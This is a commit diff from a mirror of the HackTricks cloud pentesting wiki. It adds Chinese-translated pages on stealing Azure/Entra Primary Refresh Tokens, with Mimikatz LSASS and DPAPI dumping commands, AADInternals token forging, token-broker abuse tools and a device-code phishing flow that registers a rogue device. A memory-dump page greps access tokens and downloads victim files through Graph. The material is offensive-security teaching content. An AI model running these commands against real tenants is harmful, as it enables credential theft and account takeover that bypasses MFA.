mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-28 22:51:09 -07:00
Translated ['src/pentesting-cloud/azure-security/az-lateral-movement-clo
This commit is contained in:
Translator
+4
-5
@@ -420,6 +420,7 @@
|
||||
- [Az - CosmosDB](pentesting-cloud/azure-security/az-services/az-cosmosDB.md)
|
||||
- [Az - Defender](pentesting-cloud/azure-security/az-services/az-defender.md)
|
||||
- [Az - File Shares](pentesting-cloud/azure-security/az-services/az-file-shares.md)
|
||||
- [Az - Front Door](pentesting-cloud/azure-security/az-services/az-front-door.md)
|
||||
- [Az - Function Apps](pentesting-cloud/azure-security/az-services/az-function-apps.md)
|
||||
- [Az - Intune](pentesting-cloud/azure-security/az-services/intune.md)
|
||||
- [Az - Key Vault](pentesting-cloud/azure-security/az-services/az-keyvault.md)
|
||||
@@ -442,21 +443,19 @@
|
||||
- [Az - Permissions for a Pentest](pentesting-cloud/azure-security/az-permissions-for-a-pentest.md)
|
||||
- [Az - Lateral Movement (Cloud - On-Prem)](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/README.md)
|
||||
- [Az AD Connect - Hybrid Identity](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/README.md)
|
||||
- [Az - Synchronising New Users](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-synchronising-new-users.md)
|
||||
- [Az - Hybrid Identity Misc Attacks](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-hybrid-identity-misc-attack.md)
|
||||
- [Az - Cloud Kerberos Trust](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-cloud-kerberos-trust.md)
|
||||
- [Az - Federation](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/federation.md)
|
||||
- [Az - Federation](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-federation.md)
|
||||
- [Az - Cloud Sync](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-cloud-sync.md)
|
||||
- [Az - Connect Sync](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-connect-sync.md)
|
||||
- [Az - Default Applications](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-default-applications.md)
|
||||
- [Az - Domain Services](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-domain-services.md)
|
||||
- [Az - PTA - Pass-through Authentication](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/pta-pass-through-authentication.md)
|
||||
- [Az - PTA - Pass-through Authentication](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-pta-pass-through-authentication.md)
|
||||
- [Az - Seamless SSO](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/seamless-sso.md)
|
||||
- [Az - Arc vulnerable GPO Deploy Script](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-arc-vulnerable-gpo-deploy-script.md)
|
||||
- [Az - Local Cloud Credentials](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-local-cloud-credentials.md)
|
||||
- [Az - Pass the Cookie](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-cookie.md)
|
||||
- [Az - Pass the Certificate](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-certificate.md)
|
||||
- [Az - Pass the PRT](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/pass-the-prt.md)
|
||||
- [Az - Phishing Primary Refresh Token (Microsoft Entra)](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-phishing-primary-refresh-token-microsoft-entra.md)
|
||||
- [Az - Processes Memory Access Token](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-processes-memory-access-token.md)
|
||||
- [Az - Primary Refresh Token (PRT)](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md)
|
||||
- [Az - Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/README.md)
|
||||
|
||||
+7
-7
@@ -4,15 +4,15 @@
|
||||
|
||||
## Pass the Certificate (Azure)
|
||||
|
||||
在 Azure 加入的机器中，可以使用 **必须由 Azure AD CA** 为所需用户（作为主题）颁发的证书，从一台机器认证到另一台机器，前提是两台机器都支持 **NegoEx** 认证机制。
|
||||
在 Azure 加入的机器中，可以使用 **必须由 Entra ID CA** 为所需用户（作为主题）颁发的证书，从一台机器认证到另一台机器，当两台机器都支持 **NegoEx** 认证机制时。
|
||||
|
||||
简单来说：
|
||||
|
||||
- 发起连接的机器（客户端） **需要 Azure AD 为用户颁发的证书**。
|
||||
- 客户端创建一个包含 PRT 和其他详细信息的 JSON Web Token (JWT) 头，使用派生密钥（使用会话密钥和安全上下文）对其进行签名，并 **将其发送到 Azure AD**。
|
||||
- Azure AD 使用客户端会话密钥和安全上下文验证 JWT 签名，检查 PRT 的有效性，并 **响应** 以 **证书**。
|
||||
- 发起连接的机器（客户端） **需要 Entra ID 为用户颁发的证书**。
|
||||
- 客户端创建一个包含 PRT 和其他详细信息的 JSON Web Token (JWT) 头，使用派生密钥（使用会话密钥和安全上下文）对其进行签名，并 **将其发送到 Entra ID**。
|
||||
- Entra ID 使用客户端会话密钥和安全上下文验证 JWT 签名，检查 PRT 的有效性，并 **响应** 以 **证书**。
|
||||
|
||||
在这种情况下，并在获取所有所需信息以进行 [**Pass the PRT**](pass-the-prt.md) 攻击后：
|
||||
在这种情况下，并在获取所需的所有信息以进行 [**Pass the PRT**](pass-the-prt.md) 攻击后：
|
||||
|
||||
- 用户名
|
||||
- 租户 ID
|
||||
@@ -20,7 +20,7 @@
|
||||
- 安全上下文
|
||||
- 派生密钥
|
||||
|
||||
可以使用工具 [**PrtToCert**](https://github.com/morRubin/PrtToCert)** 请求用户的 **P2P 证书**。
|
||||
可以使用工具 [**PrtToCert**](https://github.com/morRubin/PrtToCert)**:** **请求用户的 P2P 证书**。
|
||||
```bash
|
||||
RequestCert.py [-h] --tenantId TENANTID --prt PRT --userName USERNAME --hexCtx HEXCTX --hexDerivedKey HEXDERIVEDKEY [--passPhrase PASSPHRASE]
|
||||
```
|
||||
@@ -28,7 +28,7 @@ RequestCert.py [-h] --tenantId TENANTID --prt PRT --userName USERNAME --hexCtx H
|
||||
```bash
|
||||
Main.py [-h] --usercert USERCERT --certpass CERTPASS --remoteip REMOTEIP
|
||||
```
|
||||
## 参考
|
||||
## References
|
||||
|
||||
- 有关 Pass the Certificate 工作原理的更多细节，请查看原始帖子 [https://medium.com/@mor2464/azure-ad-pass-the-certificate-d0c5de624597](https://medium.com/@mor2464/azure-ad-pass-the-certificate-d0c5de624597)
|
||||
|
||||
|
||||
-7
@@ -1,7 +0,0 @@
|
||||
# Az - 钓鱼主要刷新令牌 (Microsoft Entra)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
**检查:** [**https://dirkjanm.io/phishing-for-microsoft-entra-primary-refresh-tokens/**](https://dirkjanm.io/phishing-for-microsoft-entra-primary-refresh-tokens/)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
+252
-1
@@ -2,6 +2,257 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
**查看帖子在** [**https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/**](https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/) 尽管另一个解释相同内容的帖子可以在 [**https://posts.specterops.io/requesting-azure-ad-request-tokens-on-azure-ad-joined-machines-for-browser-sso-2b0409caad30**](https://posts.specterops.io/requesting-azure-ad-request-tokens-on-azure-ad-joined-machines-for-browser-sso-2b0409caad30) 找到
|
||||
## 什么是主刷新令牌 (PRT)？
|
||||
|
||||
**主刷新令牌 (PRT)** 是一种在 Azure AD (Entra ID) 身份验证中使用的长期刷新令牌，类似于 Kerberos TGT。它在用户登录 Azure AD 连接的设备时发放，可以用于请求各种应用程序的访问令牌，而无需重新输入凭据。每个 PRT 附带一个 **会话密钥**（也称为持有证明密钥）——一个用于签署请求并证明客户端拥有 PRT 的对称密钥。PRT 本身是一个不透明的、加密的二进制数据块（客户端无法读取），而会话密钥用于在请求令牌时 **签署** 包含 PRT 的 JWT。换句话说，仅拥有 PRT 是不够的；攻击者需要会话密钥来证明合法性，类似于需要 Kerberos TGT 及其会话密钥进行身份验证。
|
||||
|
||||
在 Windows 上，PRT 和会话密钥通过 CloudAP 插件缓存于 LSASS 进程中。如果设备具有 **TPM**（受信任的平台模块），Azure AD 会将密钥绑定到 TPM 以增强安全性。这意味着在配备 TPM 的设备上，会话密钥存储或使用在 TPM 内部，以至于在正常情况下无法直接从内存中读取。如果没有可用的 TPM（例如，许多虚拟机或旧系统），密钥将保存在软件中，并通过 DPAPI 加密进行保护。在这两种情况下，具有管理权限或在机器上执行代码的攻击者可以尝试 **从内存中转储 PRT 和会话密钥** 作为后期利用的一部分，然后使用它们在云中冒充用户。
|
||||
与典型的刷新令牌（通常是特定于应用程序的）不同，PRT 更广泛，允许您的设备请求几乎任何 Entra ID 集成资源或服务的令牌。
|
||||
|
||||
## PRT 如何工作？
|
||||
|
||||
以下是 PRT 操作的简化分解：
|
||||
|
||||
1. **设备注册：**
|
||||
|
||||
- 当您的设备（如 Windows 笔记本电脑或手机）加入或注册 Entra ID 时，它使用您的凭据（用户名/密码/MFA）进行身份验证。
|
||||
|
||||
- 在成功身份验证后，Entra ID 发放一个专门绑定到您设备的 PRT。
|
||||
|
||||
2. **令牌存储：**
|
||||
|
||||
- PRT 安全地存储在您的设备上，通常受到受信任的平台模块（TPM）等硬件功能的保护，确保未授权方难以提取或滥用。
|
||||
|
||||
3. **单点登录 (SSO)：**
|
||||
|
||||
- 每次您访问受 Entra ID 保护的应用程序（例如，Microsoft 365 应用、SharePoint、Teams）时，您的设备会静默地使用存储的 PRT 请求并获取该应用程序的特定访问令牌。
|
||||
|
||||
- 您无需反复输入凭据，因为 PRT 透明地处理身份验证。
|
||||
|
||||
4. **续订和安全：**
|
||||
|
||||
- PRT 的生命周期较长（通常约 14 天），但只要您的设备在积极使用中，就会不断续订。
|
||||
|
||||
- 如果您的设备被攻破或丢失，管理员可以远程撤销您的 PRT，立即阻止未授权访问。
|
||||
|
||||
### 为什么 PRT 强大？
|
||||
|
||||
- **通用访问：** 与仅限于一个应用或资源的典型令牌不同，PRT 可以促进对所有 Entra ID 集成服务的访问。
|
||||
|
||||
- **增强安全性：** 通过内置的硬件保护（如 TPM），PRT 确保安全的令牌存储和使用。
|
||||
|
||||
- **用户体验：** PRT 显著改善用户体验，减少频繁的身份验证提示，实现真正的无缝 SSO。
|
||||
|
||||
## 如何知道是否存在 PRT？
|
||||
|
||||
- 检查 PRT 是否存在：
|
||||
```bash
|
||||
# Execute
|
||||
dsregcmd /status
|
||||
## Check if the value of AzureAdPrt is set to YES
|
||||
```
|
||||
- 检查是否受到TPM保护：
|
||||
```bash
|
||||
Get-Tpm | Select TpmPresent,TpmReady,TpmEnabled,TpmOwned
|
||||
# TpmPresent/Ready = True indicates the device can bind secrets to TPM.
|
||||
|
||||
dsregcmd /status
|
||||
# In Device State / WHfB prerequisites you’ll typically see:
|
||||
# KeyProvider = Microsoft Platform Crypto Provider ⇒ TPM hardware key;
|
||||
# KeyProvider = Software Key Storage Provider ⇒ not TPM‑bound.
|
||||
# Some builds also show TpmProtected: YES/NO and KeySignTest (run elevated to test).
|
||||
```
|
||||
## Dump and user unprotected PRTs
|
||||
|
||||
根据[这篇文章](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/)在没有TPM绑定的Windows设备上，PRT及其会话密钥存储在LSASS（CloudAP插件）中。通过在该设备上拥有本地管理员/SYSTEM权限，可以**从LSASS读取PRT blob和DPAPI加密的会话密钥，使用DPAPI解密会话密钥，并推导出签名密钥**以生成有效的PRT cookie（`x‑ms‑RefreshTokenCredential`）。你需要PRT和它的会话密钥——仅有PRT字符串是不够的。
|
||||
|
||||
### Mimikatz
|
||||
```bash
|
||||
privilege::debug
|
||||
sekurlsa::cloudap
|
||||
```
|
||||
**PRT字段**包含加密的刷新令牌（通常是base64字符串），而ProofOfPossessionKey中的KeyValue是DPAPI加密的会话密钥（也是base64）。
|
||||
|
||||
然后，从**`sekurlsa::cloudap`**输出中，复制字段`ProofOfPossessionKey`内**`KeyValue`**的base64 blob（这是用DPAPI加密的会话密钥）。这个加密密钥不能直接使用 – 必须使用系统的DPAPI凭据进行解密。
|
||||
|
||||
因为DPAPI加密系统秘密需要机器的系统上下文，所以将你的令牌提升到SYSTEM，并使用Mimikatz的DPAPI模块进行解密：
|
||||
```bash
|
||||
token::elevate
|
||||
dpapi::cloudapkd /keyvalue:<EncryptedKeyBlob> /unprotect
|
||||
```
|
||||
`token::elevate` 将模拟 SYSTEM，`dpapi::cloudapkd` 命令与 `/unprotect` 将使用 DPAPI 主密钥解密提供的 KeyValue blob。这将产生明文会话密钥以及用于签名的相关派生密钥和上下文：
|
||||
- **明文密钥** – 以明文表示的 32 字节会话密钥（以十六进制字符串表示）。
|
||||
- **派生密钥** – 从会话密钥和上下文值派生的 32 字节密钥（下面会详细说明）。
|
||||
- **上下文** – 用于派生 PRT cookie 签名密钥的 24 字节随机上下文。
|
||||
|
||||
> [!NOTE]
|
||||
> 如果这对您模拟用户无效，请检查以下部分使用 **`AADInternals`**。
|
||||
|
||||
然后，您还可以使用 mimikatz 生成有效的 PRT cookie：
|
||||
```bash
|
||||
# Context is obtained from papi::cloudapkd /keyvalue:<EncryptedKeyBlob> /unprotect
|
||||
# Derivedkey is obtained from papi::cloudapkd /keyvalue:<EncryptedKeyBlob> /unprotect
|
||||
# PRT is obtained from sekurlsa::cloudap (filed "Prt"
|
||||
dpapi::cloudapkd /context:<ContextHex> /derivedkey:<DerivedKeyHex> /prt:<PRT>
|
||||
```
|
||||
Mimikatz 将在“Signature with key”行后输出一个签名的 JWT（`PRT cookie`），该 JWT 包含 PRT，并使用派生密钥进行签名。这个 JWT 可以被复制，然后在网络会话中使用。例如，攻击者可以打开浏览器，访问 `login.microsoftonline.com`，并设置一个名为 `x-ms-RefreshTokenCredential` 的 cookie，其值为这个 JWT。当浏览器刷新或导航时，Azure AD 会将会话视为已认证（PRT cookie 被呈现为 SSO 已发生），并将为指定资源发放授权码或访问令牌。在实践中，用户会导航到像 Office 365 或 Azure 门户这样的资源；有效的 PRT cookie 的存在意味着 Azure AD 将在没有额外登录的情况下授予访问权限（绕过 MFA，因为 PRT 已经被认证）。
|
||||
|
||||
您还可以使用 **`roadtx`** 和 **`roadrecon`** 与 PRT cookie 的 PRT 来冒充用户 *(TODO: 找到使用 roadtx/roadrecon 从 PRT 获取凭据的确切命令行)*。
|
||||
|
||||
|
||||
### AADInternals
|
||||
|
||||
**`AADInternals`** PowerShell 模块也可以与之前获得的 PRT 和会话密钥一起使用，以生成有效的 PRT 令牌。这对于自动化获取带有 nonce 的新 PRT 令牌的过程非常有用，这可以用于获取 Azure AD Graph API 或其他资源的访问令牌：
|
||||
```bash
|
||||
# Code from https://aadinternals.com/post/prt/
|
||||
# Add the PRT to a variable
|
||||
$MimikatzPRT = "MS5BVUVCNFdiUV9UZnV2RW13ajlEaFVoR2JCSWM3cWpodG9CZElzblY2TVdtSTJUdENBY1JCQVEuQWdBQkF3RUFBQUJWclNwZXVXYW1SYW0yakFGMVhSUUVBd0RzX3dVQTlQO...R0RjNFQ0QxaHJ1RFdJeHZUM0stWjJpQVhmMnBLeWpPaHBIOVc"
|
||||
|
||||
# Add padding
|
||||
while($MimikatzPRT.Length % 4) {$MimikatzPRT += "="}
|
||||
|
||||
# Convert from Base 64
|
||||
$PRT = [text.encoding]::UTF8.GetString([convert]::FromBase64String($MimikatzPRT))
|
||||
|
||||
# Add the session key (Clear key) to a variable
|
||||
$MimikatzKey = "7ee0b1f2eccbae440190bf0761bc52099ad7ae7d10d28bd83b67a81a0dfa0808"
|
||||
|
||||
# Convert to byte array and base 64 encode
|
||||
$SKey = [convert]::ToBase64String( [byte[]] ($MimikatzKey -replace '..', '0x$&,' -split ',' -ne ''))
|
||||
|
||||
# Generate a new PRTToken with nonce
|
||||
$prtToken = New-AADIntUserPRTToken -RefreshToken $PRT -SessionKey $SKey
|
||||
|
||||
# Get an access token for MS Graph API
|
||||
Get-AADIntAccessTokenForMSGraph -PRTToken $prtToken
|
||||
```
|
||||
这获取了一个新的 PRT cookie（带有 nonce），然后使用它来获取 Azure AD Graph API 的访问令牌（代表用户演示云访问）。 AADInternals 抽象了大部分加密，并在后台使用 Windows 组件或其自身逻辑。
|
||||
|
||||
## 滥用受保护的 PRT
|
||||
|
||||
尽管有上述保护，已经攻陷设备（作为本地用户或甚至 SYSTEM）的攻击者仍然可以 **滥用 PRT 来获取新的访问令牌**，通过利用 Windows 自身的令牌代理 API 和安全组件。攻击者本质上 **“请求” Windows 代表他们使用 PRT**，而不是 **提取** 原始 PRT 或密钥。在下面的部分中，我们概述了在启用 TPM 保护的最新 Windows 设备上滥用 PRT 及其会话密钥的当前有效技术。所有这些技术假设在目标机器上具有后渗透访问，并且 **专注于滥用内置身份验证流程**（不需要未修补的漏洞）。
|
||||
|
||||
### Windows 令牌代理架构和 SSO 流程
|
||||
|
||||
现代 Windows 通过内置的 **令牌代理** 堆栈处理云身份验证，该堆栈包括用户模式和 LSASS（本地安全机构）中的组件。该架构的关键部分包括：
|
||||
|
||||
- **LSASS CloudAP 插件：** 当设备加入 Azure AD 时，LSASS 加载云身份验证包（例如 `CloudAP.dll`、`aadcloudap.dll`、`MicrosoftAccountCloudAP.dll`），管理 PRT 和令牌请求。LSASS（以 SYSTEM 身份运行）协调 PRT 的存储、续订和使用，并与 TPM 接口以执行加密操作（如使用会话密钥对 PRT 挑战进行签名）。
|
||||
|
||||
- **Web 账户管理器（WAM）：** Windows Web 账户管理器是一个用户模式框架（通过 COM/WinRT API 访问），允许应用程序或浏览器请求云账户的令牌，而无需提示凭据。WAM 充当用户应用程序与安全的 LSASS/TPM 支持的 PRT 之间的代理。例如，微软的 MSAL 库和某些操作系统组件使用 WAM 静默获取使用已登录用户的 PRT 的令牌。
|
||||
|
||||
- **BrowserCore.exe 和令牌代理 COM 接口：** 对于浏览器 SSO，Windows 包含一个名为 **BrowserCore.exe** 的组件（位于 *Windows Security\BrowserCore* 下）。这是一个本地消息主机，供浏览器（Edge、Chrome 通过扩展等）获取用于 Azure AD 登录的 PRT 派生 SSO 令牌。在后台，BrowserCore 利用 `MicrosoftAccountTokenProvider.dll` 提供的 COM 对象来检索基于 PRT 的 cookie/令牌。本质上，这个 COM 接口是一个第一方“令牌代理”API，任何以用户身份运行的进程都可以调用以获取 SSO 令牌（前提是用户在 LSASS 中有有效的 PRT）。
|
||||
|
||||
当 Azure AD 加入的用户尝试访问资源（例如 Azure 门户）时，流程通常是：应用程序调用 WAM 或 BrowserCore 的 COM 接口，后者与 LSASS 通信。LSASS 使用 PRT 和会话密钥（由 TPM 保护）生成 **SSO 令牌**——通常称为 **PRT cookie**——然后将其返回给应用程序或浏览器。PRT cookie 是一个特殊的 JWT，包含加密的 PRT 和 nonce，使用从 PRT 的会话密钥派生的密钥进行签名。此 cookie 被发送到 Azure AD（在 `x-ms-RefreshTokenCredential` 头中）以证明设备和用户持有有效的 PRT，从而允许 Azure AD 为各种应用程序发放标准的 OAuth 刷新和访问令牌。值得注意的是，PRT 中存在的任何多因素身份验证（MFA）声明将被带入通过此 SSO 过程获得的令牌，这意味着基于 PRT 的令牌可以满足 MFA 保护的资源。
|
||||
|
||||
### 用户级令牌窃取（非管理员）
|
||||
|
||||
当攻击者具有 **用户级代码执行** 时，PRT 的 TPM 保护并不能阻止攻击者获取令牌。攻击者 **利用内置的 Windows 令牌代理 API**：
|
||||
|
||||
#### **BrowserCore（MicrosoftAccountTokenProvider COM）**
|
||||
|
||||
BrowserCore 暴露了一个 COM 类（`MicrosoftAccountTokenProvider`，CLSID `{a9927f85-a304-4390-8b23-a75f1c668600}`）来获取 PRT cookie。此 COM API 被浏览器（Chrome/Edge 扩展）合法调用以进行 Azure AD SSO。
|
||||
|
||||
- **[RequestAADRefreshToken](https://github.com/leechristensen/RequestAADRefreshToken)**
|
||||
```bash
|
||||
RequestAADRefreshToken.exe --uri https://login.microsoftonline.com
|
||||
```
|
||||
*(返回 Azure AD 刷新令牌或 PRT cookie)*
|
||||
|
||||
- **[ROADtoken](https://github.com/dirkjanm/ROADtoken)** & **[ROADtools](https://github.com/dirkjanm/ROADtools)**
|
||||
```bash
|
||||
ROADtoken.exe --nonce <nonce-value>
|
||||
roadrecon auth --prt-cookie <cookie>
|
||||
```
|
||||
*(生成随机数，调用 BrowserCore 获取 PRT cookie，然后通过 ROADtools 兑换)*
|
||||
|
||||
|
||||
### **Web Account Manager (WAM) APIs**
|
||||
|
||||
攻击者利用用户级进程中的合法 Microsoft 身份验证库 (**MSAL**, **WAM APIs**, **WebAuthenticationCoreManager**) 静默地检索令牌，利用 TPM 保护的 PRT。
|
||||
|
||||
|
||||
- **[aadprt](https://posts.specterops.io/)**
|
||||
```bash
|
||||
execute-assembly aadprt.exe
|
||||
```
|
||||
*(通过 COM 接口检索 PRT cookie)*
|
||||
|
||||
- **[listwamaccounts](https://posts.specterops.io/)**
|
||||
```bash
|
||||
execute-assembly listwamaccounts.exe
|
||||
```
|
||||
*(列出通过 WAM 登录的 Azure AD 账户；识别令牌目标)*
|
||||
|
||||
- **通用示例 (使用 MSAL 的 PowerShell)**:
|
||||
```powershell
|
||||
$app = [Microsoft.Identity.Client.PublicClientApplicationBuilder]::Create("client-id").Build()
|
||||
$result = $app.AcquireTokenSilent(@("https://graph.microsoft.com/.default"), $app.GetAccountsAsync().Result[0]).ExecuteAsync().Result
|
||||
$result.AccessToken
|
||||
```
|
||||
*(静默获取访问令牌，利用 PRT)*
|
||||
|
||||
#### 管理员 / SYSTEM 级别令牌滥用
|
||||
|
||||
如果攻击者升级到 **管理员或 SYSTEM**，他们可以直接冒充任何 Azure AD 登录用户，并使用相同的 **COM/WAM 令牌代理 API**。TPM 保护的 PRT 并不阻止这种合法的令牌发放。
|
||||
|
||||
### **用户冒充和令牌检索**
|
||||
|
||||
管理员/SYSTEM 可以冒充其他用户的运行会话，以调用 BrowserCore 或 WAM 进行令牌生成。
|
||||
|
||||
为此，只需冒充用户进程（例如，`explorer.exe`）并使用前一节中评论的任何技术调用令牌代理 API。
|
||||
|
||||
### **直接与 LSASS 和令牌代理交互（高级）**
|
||||
|
||||
管理员仍然可以与 LSASS 一起工作以滥用 PRT：例如，管理员可以向 LSASS 注入代码或调用内部 CloudAP 函数以提示 LSASS 生成令牌。Dirk-jan 的研究指出，管理员可以“使用加密 API 与 LSASS 中的 PRT 密钥进行交互”。在实践中，这可能意味着使用 LSASS 自身的功能（通过 API hooking 或 RPC 等技术，如果可用）生成 PRT cookie。另一种方法是利用会话密钥可能出现在内存中的任何窗口——例如，在 PRT 更新或设备注册时，它未加密以供使用。这类攻击复杂且具有情境性。更直接的管理员策略是滥用现有的令牌句柄或缓存：LSASS 在内存中缓存最近发放的应用程序刷新令牌（使用 DPAPI 加密）。一个决心坚定的 SYSTEM 攻击者可以尝试提取这些受 DPAPI 保护的令牌（使用用户的主密钥，管理员可以获得）以直接窃取特定应用程序的刷新令牌。然而，最简单和最通用的方法仍然是冒充和使用文档化的令牌代理接口，因为这些保证 Azure AD 将发放新令牌（带有所有适当的声明），而不是尝试破解加密。
|
||||
|
||||
## 钓鱼 PRT
|
||||
|
||||
利用 **OAuth 设备代码** 流程，使用 **Microsoft Authentication Broker 客户端 ID** (**`29d9ed98-a469-4536-ade2-f981bc1d605e`**) 和 **设备注册服务 (DRS)** 资源获取 **可以在注册一个** **恶意设备** 后升级为主刷新令牌 (PRT) 的 **刷新令牌**。
|
||||
|
||||
### **为什么这有效**
|
||||
|
||||
- **PRT** 是 **设备绑定的**，并启用 **几乎所有 Entra 保护应用的 SSO**。
|
||||
- **Broker 客户端 + DRS** 组合允许被钓鱼的 **刷新令牌** 在设备注册后 **兑换为 PRT**。
|
||||
- **MFA 并未被绕过**：**用户在钓鱼过程中执行 MFA**；**MFA 声明传播**到生成的 PRT，使攻击者可以 **无进一步提示** 访问应用。
|
||||
|
||||
**前提条件**：
|
||||
|
||||
- **通过设备代码进行用户身份验证**，使用 **Broker 客户端 ID** (`29d9ed98-a469-4536-ade2-f981bc1d605e`) 和 **DRS 范围/资源**（例如，**`01cb2876-7ebd-4aa4-9cc9-d28bd4d359a9/.default`** 或 **`https://enrollment.manage.microsoft.com/`**）。
|
||||
- **用户可以在 Entra ID 中注册设备**（**默认：允许**，但可以限制或配额限制）。
|
||||
- **没有阻止 CA 策略**，这些策略 **禁用设备代码** 或 **要求合规/混合设备** 用于目标应用（这些不会阻止 PRT 发放，但 **会** 阻止 **使用** 它访问受保护的应用）。
|
||||
- **攻击者控制的主机** 用于运行流程并持有令牌/设备密钥。
|
||||
|
||||
**攻击流程**：
|
||||
|
||||
1. **使用 client_id = Broker 和 DRS 范围/资源启动设备代码身份验证**；向受害者显示 **用户代码**。
|
||||
```bash
|
||||
curl -s -X POST \
|
||||
"https://login.microsoftonline.com/organizations/oauth2/v2.0/devicecode" \
|
||||
-d "client_id=29d9ed98-a469-4536-ade2-f981bc1d605e" \
|
||||
-d "scope=01cb2876-7ebd-4aa4-9cc9-d28bd4d359a9/.default offline_access openid profile"
|
||||
```
|
||||
2. **受害者在微软网站上登录**（合法用户界面）并完成 **MFA** → **攻击者收到一个 DRS 范围的刷新令牌** 用于 Broker 客户端。
|
||||
|
||||
3. **使用该刷新令牌在租户中注册一个恶意设备**（设备对象被创建并链接到受害者）。
|
||||
|
||||
4. **通过交换 **刷新令牌 + 设备身份/密钥** 来 **升级到 PRT** → **PRT** 绑定到攻击者的设备。
|
||||
|
||||
5. **（可选持久性）**：如果 MFA 是新鲜的，**注册一个 Windows Hello for Business 密钥** 以保持 **长期无密码访问**。
|
||||
|
||||
6. **滥用**：兑换 **PRT**（或生成 **PRT cookie**）以获取 **Exchange/Graph/SharePoint/Teams/自定义应用** 的 **访问令牌** 作为用户。
|
||||
|
||||
### 公共工具和概念验证
|
||||
|
||||
- [ROADtools/ROADtx](https://github.com/dirkjanm/ROADtools): 自动化 OAuth 流程、设备注册和令牌升级。
|
||||
- [DeviceCode2WinHello](https://github.com/kiwids0220/deviceCode2WinHello): 单命令脚本自动化设备代码钓鱼到 PRT+WHfB 密钥。
|
||||
|
||||
## 参考文献
|
||||
|
||||
- [Dirkjan 关于 PRT 的博客文章](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/)
|
||||
- [Dirkjan 关于钓鱼 PRT 的文章](https://dirkjanm.io/phishing-for-microsoft-entra-primary-refresh-tokens/)
|
||||
- [Dirkjan 关于滥用 PRT 的文章](https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/)
|
||||
- SpecterOps 关于 [请求 Azure AD 请求令牌的文章](https://posts.specterops.io/requesting-azure-ad-request-tokens-on-azure-ad-joined-machines-for-browser-sso-2b0409caad30)
|
||||
- [AADInternals 关于 PRT 的文章](https://aadinternals.com/post/prt/)
|
||||
- [blog.3or.de](https://blog.3or.de/understanding-primary-refresh-tokens-and-cve-2021-33779-how-pass-the-prt-was-eliminated#:~:text=,the%20Token%20Broker%20on%20Windows)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
+5
-6
@@ -4,13 +4,13 @@
|
||||
|
||||
## **基本信息**
|
||||
|
||||
如[**此视频**](https://www.youtube.com/watch?v=OHKZkXC4Duw)中所述，一些与云同步的Microsoft软件（Excel、Teams等）可能会**以明文形式在内存中存储访问令牌**。因此，仅仅**转储**该进程的**内存**并**grep JWT令牌**可能会让你绕过MFA，访问受害者在云中的多个资源。
|
||||
如[**此视频**](https://www.youtube.com/watch?v=OHKZkXC4Duw)中所述，一些与云同步的Microsoft软件（Excel、Teams等）可能会**以明文形式在内存中存储访问令牌**。因此，仅需**转储**该进程的**内存**并**grep JWT令牌**，可能会让您绕过MFA访问受害者在云中的多个资源。
|
||||
|
||||
步骤：
|
||||
|
||||
1. 使用你喜欢的工具转储与EntraID用户同步的Excel进程。
|
||||
2. 运行：`string excel.dmp | grep 'eyJ0'`并在输出中找到多个令牌
|
||||
3. 找到你最感兴趣的令牌，并对其运行工具：
|
||||
1. 使用您喜欢的工具转储与EntraID用户同步的Excel进程。
|
||||
2. 运行：`string excel.dmp | grep 'eyJ0'`，并在输出中找到多个令牌
|
||||
3. 找到您最感兴趣的令牌，并对其运行工具：
|
||||
```bash
|
||||
# Check the identity of the token
|
||||
curl -s -H "Authorization: Bearer <token>" https://graph.microsoft.com/v1.0/me | jq
|
||||
@@ -27,8 +27,7 @@ curl -s -H "Authorization: Bearer <token>" https://graph.microsoft.com/v1.0/site
|
||||
curl -s -H "Authorization: Bearer <token>" 'https://graph.microsoft.com/v1.0/sites/<site_id>/drives/<drive_id>' | jq
|
||||
|
||||
## Finally, download a file from that drive:
|
||||
┌──(magichk㉿black-pearl)-[~]
|
||||
└─$ curl -o <filename_output> -L -H "Authorization: Bearer <token>" '<@microsoft.graph.downloadUrl>'
|
||||
curl -o <filename_output> -L -H "Authorization: Bearer <token>" '<@microsoft.graph.downloadUrl>'
